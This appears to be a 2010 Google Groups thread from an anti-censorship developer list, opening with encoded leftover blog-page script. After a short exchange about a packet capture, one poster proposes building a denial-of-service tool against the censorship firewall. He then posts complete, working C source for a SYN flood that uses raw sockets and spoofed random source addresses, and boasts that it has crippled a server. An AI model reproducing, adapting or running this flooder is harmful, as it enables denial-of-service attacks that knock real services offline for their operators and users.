+AH0AOw- window.UD +AD0- +AHsAfQA7- UD.host +AD0- +AHs- userId:
140445094, userName:'china+AF8-flash', nickName:'china+AF8-flash',
baseUrl:'http://blog.163.com/china+AF8-flash/', gender:'+TtY-'
+AH0AOw- +ADw-/SCRIPT+AD4- +ADw-SCRIPT src+AD0AIg-http://b1.bst.
126.net/newpage/r/j/pc.js?v+AD0-3895896877+ACI- type+AD0-text/
javascript+AD4APA-/SCRIPT+AD4- +ADw-SCRIPT src+AD0AIg-http://b1.bst.
126.net/newpage/r/j/m/m-3/pm.js?v+AD0-8229944899+ACI- type+AD0-text/
javascript+AD4APA-/SCRIPT+AD4- +ADw-SCRIPT src+AD0AIg-http://analytics.
163.com/ntes.js+ACI- type+AD0-text/javascript+AD4APA-/SCRIPT+AD4- +ADw-
SCRIPT src+AD0AIg-http://analytics.163.com/ntes.js+ACI- type+AD0-text/
javascript+AD4- +AF8-ntes+AF8-nacc+AD0-'blog'+ADs-neteaseTracker()
+ADs- document.write('+ADw-img style+AD0AIg-display:none+ADsAIg- src
+AD0AIg-http://blog.163.com/newpage/images/analyse.png?s+AD0-p+ACY-t
+AD0-'+-(new Date().getTime())+-'+ACI-/+AD4-')+ADs- +ADw-/SCRIPT+AD4-
+ADw-/BODY+AD4APA-/HTML+AD4-

崔莺莺

unread,
Mar 29, 2010, 11:33:39 PM3/29/10
to scholarz...@googlegroups.com
那些FIN/ACK跟别的包不在同一个端口上。
你给的pcap里面的是若干个不同的TCP会话。
RST/ACK是你自己发的。

凡事不要想当然。

sinanjj

unread,
Mar 29, 2010, 11:44:58 PM3/29/10
to scholarzhang-dev
我晕倒.........这么明显的问题竟然没看出来..........

一定是被gmail不能登陆冲昏了头..


On Mar 30, 11:33 am, 崔莺莺 <yingyingcui.scholarzh...@gmail.com> wrote:
> 那些FIN/ACK跟别的包不在同一个端口上。
> 你给的pcap里面的是若干个不同的TCP会话。
> RST/ACK是你自己发的。
>
> 凡事不要想当然。
>

sinanjj

unread,
Mar 30, 2010, 12:00:00 AM3/30/10
to scholarzhang-dev
可能真的是当时网络不好(可轮子的代理很快).

现在又恢复了, gmail速度很快.
(不明原因. 但着实的吓了我一跳)

崔莺莺, 西厢的windows下实用工具什么情况了. 我测试了现有的版本, 在我这里都不大管事...

这gmail一不能上, 我发恨就很想写个dos墙的工具出来.....


我这里有个syn攻击的linux下的, 我自己认为很满意的一个程序, 自己机器攻击中型window服务器瘫痪的. 你看看能不能改成dos墙的.
(我放服务器上一直开着,)

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

long int get_random (void)
{
int fd = 0;
if ((fd = open ("/dev/urandom", O_RDONLY | O_NONBLOCK)) == -1)
{ printf ("error: open /dev/urandom. exit\n"); exit (0); }
long int buf;
if (read (fd, (char *)&buf, 4) != 4) { printf ("error: read /dev/
urandom. exit\n"); exit (0); }
if (close (fd) != 0) { printf ("error: close() fd. exit\n"); exit
(0); }
return buf;
}

unsigned short csum (unsigned short *buf, int nwords) /* generates
header checksums */
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

struct pseudohdr {
u_int32_t saddr; /* source IP address */
u_int32_t daddr; /* destination IP address */
u_int8_t res; /* contains binary zeroes.(0) */
u_int8_t ptcl; /* protocol. can be tcp (6), udp(17), icmp(1) */
u_int16_t len; /* TCP/UDP packet length. (unit:byte) */
};

int main (int argc, char *argv[])
{
if (argc != 3) { printf ("Usage: %s <dst> <port>\n", argv[0]); exit
(0); }

int raw_sock_ip;
if ((raw_sock_ip = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{ printf("socket() failed!\nMust be root to make raw socket.\n");
exit(0); }
/* do a IP_HDRINCL call */
{
int on=1;
if(setsockopt(raw_sock_ip, IPPROTO_IP, IP_HDRINCL, (char *)&on,
sizeof(on)) < 0) { printf("setsockopt() failed\n"); exit(0); }
}

unsigned char packet[80]; bzero (packet, 80);
struct iphdr *iph = (struct iphdr *) packet;
struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct
iphdr));

struct hostent *he;
if((he = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve
hostname!\n"); exit(0); }

/* fill in the ip/tcp header values */
iph->ihl = 5; iph->version = 4; iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr); /* no
payload */
iph->id = htonl (get_random()); /* the value doesn't matter here */
iph->frag_off = 0; iph->ttl = 255;
iph->protocol = 6;
iph->check = 0; /* set it to 0 before computing the actual checksum
later */
// iph->saddr = inet_addr ("1.2.3.4"); /* SYN's can be blindly spoofed
*/
iph->saddr = get_random();
iph->daddr = *((u_int32_t *)he->h_addr); // inet_addr
("202.194.15.6");
// tcph->source = htons (1234);
tcph->source = htons (get_random());
tcph->dest = htons (atoi(argv[2]));
tcph->seq = get_random (); /* in a SYN packet, the sequence is a
random */
tcph->ack_seq = 0; /* number, and the ack sequence is 0 in the 1st
packet */
tcph->doff = 5;
tcph->syn = 1; /* initial connection request */
tcph->window = htonl (65535); /* maximum allowed window size */
tcph->check = 0;
tcph->urg_ptr = 0;
iph->check = csum ((unsigned short *)packet, iph->tot_len >> 1);

struct sockaddr_in dest; bzero (&dest, sizeof (dest));
dest.sin_family = PF_INET; dest.sin_addr.s_addr = inet_addr
("1.2.3.4"); dest.sin_port = htons (1);

printf("Syn flooding: %s!\n", argv[1]);
for(;;) {
iph->saddr = get_random();
tcph->source = htons (get_random());
tcph->seq = get_random (); /* in a SYN packet, the sequence is a
random */

unsigned char buf[512]; bzero (buf, 512);
struct pseudohdr *pseudohdr;
pseudohdr = (struct pseudohdr *)buf;
/* full pseudohdr */
pseudohdr->daddr = iph->daddr;
pseudohdr->saddr = iph->saddr;
pseudohdr->res = 0; pseudohdr->ptcl = 0x06;
pseudohdr->len = htons((tcph->doff)<<2);

tcph->check = 0;
memcpy((unsigned char *)pseudohdr+sizeof(struct pseudohdr),
(unsigned char *)tcph, (tcph->doff)<<2);
tcph->check = csum((unsigned short *)pseudohdr, (((tcph->doff)<<2) +
sizeof(struct pseudohdr))>>1);

iph->check = csum ((unsigned short *)packet, iph->tot_len >> 1);
if (sendto (raw_sock_ip, packet, /* the buffer containing headers
and data */
iph->tot_len, /* total length of our packet */
0, (struct sockaddr *) &dest, sizeof (struct sockaddr)) < 0)
printf ("error: sendto()\n");
}
return 0;
}

Reply all
Reply to author
Forward
0 new messages